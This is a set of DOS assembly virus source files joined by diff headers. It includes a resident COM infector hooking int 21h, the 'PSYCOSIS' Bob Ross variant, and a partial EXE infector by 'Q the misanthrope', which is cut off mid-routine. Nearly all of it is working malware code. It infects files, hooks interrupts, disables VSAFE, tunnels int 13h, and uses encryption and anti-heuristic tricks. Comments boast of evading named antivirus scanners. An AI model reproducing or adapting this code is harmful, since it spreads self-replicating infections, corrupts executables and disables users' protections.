cmp byte ptr ds:[0000],5a ;check if last
;block -
jne abort ;if not last block,
;end
mov ax,ds:[0003] ;decrease memory
sub ax,50 ;by 1kb
mov ds:0003,ax
install_virus: mov bx,ax ;PSP
mov ax,es ;virus start
add ax,bx ;in memory
mov es,ax
mov cx,length ;cx = length virus
mov ax,ds ;restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ;point to start virus
lea di,es:0100 ;point to destination
rep movsb ;copy virus in
;memory
mov [virus_segment+bp],es ;store start of virus
;in memory
mov ax,cs ;restore extra segment
mov es,ax
hook_vector: cli ;disable interrupts
;because we're manipulating
mov ax,3521h ;the interrupt table and a
;crash would look bad
int 21h ;function 3521h - retrieve
mov ds,[virus_segment+bp] ;address of current handler
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset main_virus - 6h
mov ax,2521h ;copy new address (virus) to
int 21h ;interrupt table
sti ;interrupts on
abort: mov ax,cs ;restore everything
mov ds,ax
mov es,ax
xor ax,ax
end_virus:
mov bx,0100h ;jump to beginning
jmp bx ;of host file
;***************************************************************************
main_virus: pushf
cmp ah,0A0h ;check for virus
jne new_21h ;no virus call
mov ax,0001h ;ax = id
popf ;return id
iret
new_21h: push ds ;save registers
push es
push di
push si
push ax
push bx
push cx
push dx
cmp ah,40h
jne check_05
cmp bx,0004h
jne check_05
check_05: cmp ah,05h
jne check_exec
check_exec: cmp ax,04B00h ;intercept execute function
jne continue
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ;goto check target
continue: pop dx ;restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: cld ;check extension of loaded file
mov di,dx ;for COM
push ds
pop es
mov al,'.' ;search extension
repne scasb ;for 'COM', so
cmp word ptr es:[di],'OC' ;check 'CO'
jne continue ;and
cmp word ptr es:[di+2],'M' ;check 'M'
jne continue
call set_int24h
call set_attribute
open_file: mov ds,cs:[name_seg-6] ;name of target file
mov dx,cs:[name_off-6]
mov ax,3D02h ;open file
call do_int21h ;simulate int21 call, see below
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ;read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ;if equal, already
;infected
get_length: mov ax,4200h ;set file pointer to begin
call move_pointer
mov ax,4202h ;set file pointer to end
call move_pointer
sub ax,03h ;ax = file length
mov [length_file-6],ax
call write_jmp
call write_virus ;summon write virus to file
save_date: push cs ;save date of file
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ;close file
call do_int21h
mov dx,cs:[old_24h-6] ;restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continue
new_24h: mov al,3 ;critical error handler
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
;since virus owns int21, a
do_int21h: pushf ;direct call would be counter
call dword ptr cs:[old_21h-6];productive, so do a pushf
ret ;and call combination - Dark
;Angel's virus guide is great
write_jmp: push cs ;at expalining this
pop ds
mov ax,4200h ;set pointer to beginning of file
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[length_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h ;write to file function
call move_pointer
mov ah,40
mov cx,length ;virus length
mov dx,100
call do_int21h ;do it
ret
get_date: mov ax,5700h ;retrieve date function
call do_int21h ;do it
push cs
pop ds
mov [date-6],dx ;restore date & time
mov [time-6],cx
ret
;set up critical error handler
set_int24h: mov ax,3524h ;request address of current handler
call do_int21h ;simulate int21 call
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ;set vector to virus handler
call do_int21h ;do it
ret
set_attribute: mov ax,4300h ;get attribute
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ;set attribute
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_17h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0E9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
length_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
code ends
end host
@@ -0,0 +1,567 @@
; VirusName : PSYCOSIS
; Origin : Sweden
; Author : The Unforgiven
; Date : 03/01/94
; This is yet another mutation of the Bob Ross virus, written by Dark
; Angel of Phalcon/Skism in September 1991. In my last version of this
; virus, I excluded the encryption, and included some destructive code
; instead. In this one, I added a new encryption, and thereby it went
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
; heuristics scanner says that it "probably" is infected with some
; unknown virus. The "standard" heuristic gets some flags, but not
; enough to say that it's infected. Therefor I'd like to claim that
; the scanners sucks!
; I had thought to change much more in the code, for example the
; spreading routine. This virus will search the whole tree for
; files to infect, and becomes therefor pretty slow, and easily
; detected. But hell, it spreads!, Hm, 3 files each run!..
; It also contains a resident printing part, which under some
; specific conditions will print some messages, in the top of the
; screen. If you're afraid that you are infected with this virus,
; just set the date to 0606 any year, and wait for some minutes.
; If a sudden message shows up, delete your .COM file, which first
; character is an "&".
;=============================================================================
; **** PSYCOSIS ****
;=============================================================================
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of Bob messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0606h ; Date of psychosis .(swedish national day).
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
;encrypt_val db 00h
encrypt_val dw 0
decrypt:
encrypt:
mov si, offset encrypt_val
add si, offset_off
mov ah, byte ptr [si]
mov cx, offset part2_end - offset bam_bam
add si, offset bam_bam - offset encrypt_val
mov di, si
call cheater
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
cheater:
ret
copy_rest_stuff:
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0 ; root directory
com_mask db '*.com',0 ; files to infect
dir_mask db '*.*',0 ; files to search for
back_dir db '..',0 ; go "dot-dot".
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go:
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 07/09?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ; and changedir there
int 21h ;Yup, yup
jc short donext ; Do next if invalid
mov si, offset nest ; Else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
mov ah,1Ah ; and set DTA to it
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the D-Cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ; to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ; Find first file
mov cx, 0007h ; Any file
mov dx, offset com_mask ; DS:[DX] --> filemask
add dx, offset_off
int 21h ; Fill DTA (hopefully)
jc return_to_fcn ; <Sigh> Error #E421:0.1
jmp check_if_COM_infected ; I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ; Another loop,
add si, offset_off ; Another infection
dec byte ptr [si] ; Infected three?
jz enuff_for_now ; If so, exit
find_next_file:
mov ah,4Fh ; Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ; ??????D.COM?
jz find_next_file ; don't kill COMMAND.COM
mov ax,3D00h ; Open channel read ONLY
mov dx, si ; Offset Pathname in DX
sub dx, 6
int 21h ; Open NOW!
jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db '\\ Merry Xmas and a happy new year // '
db 'Sweden - Snowing Again'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
; if get drive, place it here (restore, and change to in the beginning).
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Another year passed by'
db 21, 'Another tear the willows cry'
db 22, 'to change the world we ever try'
db 26, 'to make a difference before we die'
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start
@@ -0,0 +1,508 @@
cseg segment para public 'code'
pureplus proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
ALLOCATE_HMA equ 04a02h
CLOSE_HANDLE equ 03e00h
COMMAND_LINE equ 080h
COM_OFFSET equ 00100h
CRITICAL_INT equ 024h
DENY_NONE equ 040h
DONT_SET_OFFSET equ 006h
DONT_SET_TIME equ 040h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
EIGHTEEN_BYTES equ 012h
ENVIRONMENT equ 02ch
EXEC_PROGRAM equ 04b00h
EXE_SECTOR_SIZE equ 004h
EXE_SIGNATURE equ 'ZM'
FAIL equ 003h
FAR_INDEX_CALL equ 01effh
FILENAME_OFFSET equ 0001eh
FILE_OPEN_MODE equ 002h
FIND_FIRST equ 04e00h
FIND_NEXT equ 04f00h
FIRST_FCB equ 05ch
FLUSH_BUFFERS equ 00d00h
FOUR_BYTES equ 004h
GET_DTA equ 02f00h
GET_ERROR_LEVEL equ 04d00h
HARD_DISK_ONE equ 081h
HIDDEN equ 002h
HIGH_BYTE equ 00100h
HMA_SEGMENT equ 0ffffh
INT_13_VECTOR equ 0004ch
JOB_FILE_TABLE equ 01220h
KEEP_CF_INTACT equ 002h
KEYBOARD_INT equ 016h
MAX_SECTORS equ 078h
MULTIPLEX_INT equ 02fh
NEW_EXE_HEADER equ 00040h
NEW_EXE_OFFSET equ 018h
NULL equ 00000h
ONLY_READ equ 000h
ONLY_WRITE equ 001h
ONE_BYTE equ 001h
OPEN_W_HANDLE equ 03d00h
PARAMETER_TABLE equ 001f1h
READ_A_SECTOR equ 00201h
READ_ONLY equ 001h
READ_W_HANDLE equ 03f00h
REMOVE_NOP equ 001h
RESET_CACHE equ 00001h
RESIZE_MEMORY equ 04a00h
SECOND_FCB equ 06ch
SECTOR_SIZE equ 00200h
SETVER_SIZE equ 018h
SHORT_JUMP equ 0ebh
SIX_BYTES equ 006h
SMARTDRV equ 04a10h
SYSTEM equ 004h
SYS_FILE_TABLE equ 01216h
TERMINATE_W_ERR equ 04c00h
THREE_BYTES equ 003h
TWENTY_HEX equ 020h
TWENTY_THREE equ 017h
TWO_BYTES equ 002h
UNINSTALL equ 05945h
UN_SINGLE_STEP equ not(00100h)
VERIFY_3SECTORS equ 00403h
VOLUME_LABEL equ 008h
VSAFE equ 0fa01h
WRITE_A_SECTOR equ 00301h
WRITE_W_HANDLE equ 04000h
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
PURE_CODE_IS_AT equ 00147h
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h ;just some dummy area that was needed
org 00000h ;to have the compilier make a far jmp
old_int_13_addr label word ;directive EAh later on
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET ;com files seem to always start here
com_code:
;-----------------------------------------------------------------------------
jmp short disable_vsafe
;-----------------------------------------------------------------------------
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
;simple EXE header that we have imbedded the virii into
;-----------------------------------------------------------------------------
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
;-----------------------------------------------------------------------------
ax_cx_di_si_cld proc near ;sets varables for modifying sector
mov di,bx ;ES:BX is int 13 sector set di to bx
add di,PURE_CODE_IS_AT-COM_OFFSET
ax_cx_si_cld: call set_si ;get location of code in HMA
set_si: pop si ;and subtract the offset
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
das ;set zero flag for the compare later on
cld ;clear direction
ret
ax_cx_di_si_cld endp
;-----------------------------------------------------------------------------
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
;must be here because the MZ 4Dh,5Ah
;.EXE header identifier gets changed to
;jmp 015C EAh,5Ah by changing one byte
;-----------------------------------------------------------------------------
disable_vsafe proc near ;while we are here lets allow other virii
mov dx,UNINSTALL ;it sure is nice to have a simple
mov ax,VSAFE ;call to do this
int KEYBOARD_INT
disable_vsafe endp
;-----------------------------------------------------------------------------
alloc_memory proc near ;clear disk buffers so reads are done
mov ah,high(FLUSH_BUFFERS)
int DOS_INT ;from disk and not from memory
xor di,di ;set it to zero
mov ds,di ;to set the DS there
mov bh,high(SECTOR_SIZE)
dec di ;now set it to FFFFh
mov ax,ALLOCATE_HMA ;lets see how much memory is available
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
mov bx,RESET_CACHE ;infection. it sure is nice to have
int MULTIPLEX_INT ;a simple call to do this
mov bl,SIX_BYTES ;for setting int 1 to tunnel
inc di ;if dos <5.0 or no HMA di is FFFFh
jz find_name ;if no memory don't install
call ax_cx_si_cld ;get varables for copy to HMA
rep movs byte ptr es:[di],cs:[si]
alloc_memory endp ;then copy it to ES:DI in HMA
;-----------------------------------------------------------------------------
set_int_13 proc near ;setting int 1 vectors for tunnelling
mov ax,offset interrupt_one
xchg word ptr ds:[bx-TWO_BYTES],ax
push ax ;great way to set interrupts
push word ptr ds:[bx];just push them on the stack for latter
mov word ptr ds:[bx],cs
xchg cx,di ;cx was 0, di was last byte of HMA code
mov dl,HARD_DISK_ONE;doesn't really matter which drive
pushf ;save the flags with TF cleared
pushf ;push flags for simulated int 13 call
pushf ;push flags for setting TF
mov bp,sp ;get the stack pointer
mov ax,VERIFY_3SECTORS
or byte ptr ss:[bp+ONE_BYTE],al
popf ;set TF and direction and call int 13
dw FAR_INDEX_CALL,INT_13_VECTOR
popf ;restore flags
pop word ptr ds:[bx];and int 1 vectors back
pop word ptr ds:[bx-TWO_BYTES]
set_int_13 endp ;now int 13 has our code hooked into it
;-----------------------------------------------------------------------------
find_name proc near ;now lets find out who we are to reload
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
cmp word ptr ds:[bx-FOUR_BYTES],di
jne look_for_nulls ;the plan is to goto the end of our
find_name endp ;environment and look for 2 nulls
;-----------------------------------------------------------------------------
open_file proc near ;open current program and read header
push ds ;to see if the header was restored back
push bx ;save the program name on the stack
mov ch,THREE_BYTES ;read in 768 bytes of header
call open_n_read_exe ;open, read cx bytes, close file ds:bx
push cs ;set es to cs for compare of sector
pop es ;to infected sector
mov bx,dx ;get varables set correctly for compare
call convert_back ;compare them and convert them back
pop dx ;get file name again
pop ds
jne now_run_it ;if int 13 converted it back then run it
push ds ;else save file name again on stack
push dx
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos ;open current program for reads (don't set any alarms)
push bx ;save handle
int MULTIPLEX_INT ;get job file table for handle
mov dx,SYS_FILE_TABLE
xchg ax,dx ;done like this for anti TBAV hueristic scan
mov bl,byte ptr es:[di]
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
pop bx ;get handle again
mov ch,high(SECTOR_SIZE)
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
cmpsw ;simple code to change open file to
stosb ;write back the cleaned header to file
mov dx,offset critical_error+COM_OFFSET
int DOS_INT ;this cleans the file if virii didn't load in HMA
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
call reclose_it ;set SFT to not change file date and time at close
pop dx ;get file name again from the stack
pop ds
open_file endp
;-----------------------------------------------------------------------------
now_run_it proc near ;setup the exec of current program again
push cs ;like a spawned file
pop es ;es now cs
mov bx,offset exec_table
mov ah,high(RESIZE_MEMORY)
int DOS_INT ;first resize memory
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
xchg bx,si ;set si to where the table varables are
mov di,bx ;set di to where 14 byte exec table is to be made
mov ax,EXEC_PROGRAM ;set ax for file execute
set_table: scasw ;advance 2 bytes in destination table
movs byte ptr es:[di],cs:[si]
scasb ;move a byte then check if next byte is nonzero
mov word ptr cs:[di],cs
je set_table ;fill in the code segment into table and jmp if still zero
call call_dos ;exec program again
mov ax,FIND_FIRST ;need to infect more EXE files
mov dx,offset exe_file_mask
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
find_next_file: call call_dos ;set cx to 15 to loop that many times
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
int DOS_INT ;get it
add bx,FILENAME_OFFSET
push es ;get the filename into ds:bx
pop ds
call open_n_read_exe ;open, read cx bytes, close file ds:bx
mov ah,high(FIND_NEXT)
loop find_next_file ;loop until no more matches
done: mov ah,high(GET_ERROR_LEVEL)
int DOS_INT ;get spawned childs program errorlevel
mov ah,high(TERMINATE_W_ERR)
now_run_it endp ;and return with that same errorlevel
;-----------------------------------------------------------------------------
call_dos proc near ;routine to call dos
int DOS_INT ;call dos
jc done ;error in doing so then exit
xchg ax,bx ;set bx to ax for open file stuff
push cs ;set ds to cs
pop ds ;for all sorts of stuff
mov ax,JOB_FILE_TABLE
ret ;get job file table
call_dos endp ;(done here for anti TBAV hueristic scan)
;-----------------------------------------------------------------------------
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
;these are used to create the 14 byte exec
;table to rerun program
;-----------------------------------------------------------------------------
open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes
mov dx,bx ;set dx to bx for dos call to open file
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos ;just open it for reading (don't sound any alarms)
mov dx,offset critical_error
mov ax,DOS_SET_INT+CRITICAL_INT
int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler
inc dh ;just some dummy area outside in the heap to read the header of the file to
mov ah,high(READ_W_HANDLE)
int DOS_INT ;read it
reclose_it: mov ah,high(CLOSE_HANDLE)
jmp short call_dos ;goto close it
open_n_read_exe endp
;-----------------------------------------------------------------------------
interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:????
cmp ax,VERIFY_3SECTORS
jne interrupt_ret ;if not doing int 13 stuff just leave
push ds ;push varables on stack
pusha
mov bp,sp ;make bp the sp
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
jne go_back ;compare the instruction to a far call function
mov si,word ptr ds:[si+THREE_BYTES]
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
jne go_back ;compare the address of the call to segment FFFFh
cld ;if match then cx is pointing to the far call EAh at
mov di,cx ;the end of virii that needs to be updated
movsw ;move the address to our code
movsw ;far addresses are 4 bytes long
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
mov word ptr ds:[si-FOUR_BYTES],di
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
go_back: popa ;no longer need to singel step
pop ds ;pop off varables
critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
interrupt_ret: iret ;dual useage of iret. critical error and int 1
interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in
;-----------------------------------------------------------------------------
exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
;-----------------------------------------------------------------------------
convert_back proc near ;will convert virii sector es:bx back to clean sector
call ax_cx_di_si_cld ;get all them varables
repe cmps byte ptr cs:[si],es:[di]
jne not_pure ;does it compare byte for byte with our code
xor byte ptr ds:[bx],ah
call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature
rep stosb ;and zero out all the code
not_pure: ret ;go back to where you once belonged
convert_back endp
;-----------------------------------------------------------------------------
convert_to proc near ;will convert sector ds:bx into virii infected
pusha ;save varables onto stack
stc ;say that we failed
pushf ;push failed onto the stack
mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
cmp word ptr ds:[bx],ax
jne not_exe_header ;if not an EXE header then not interested
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file
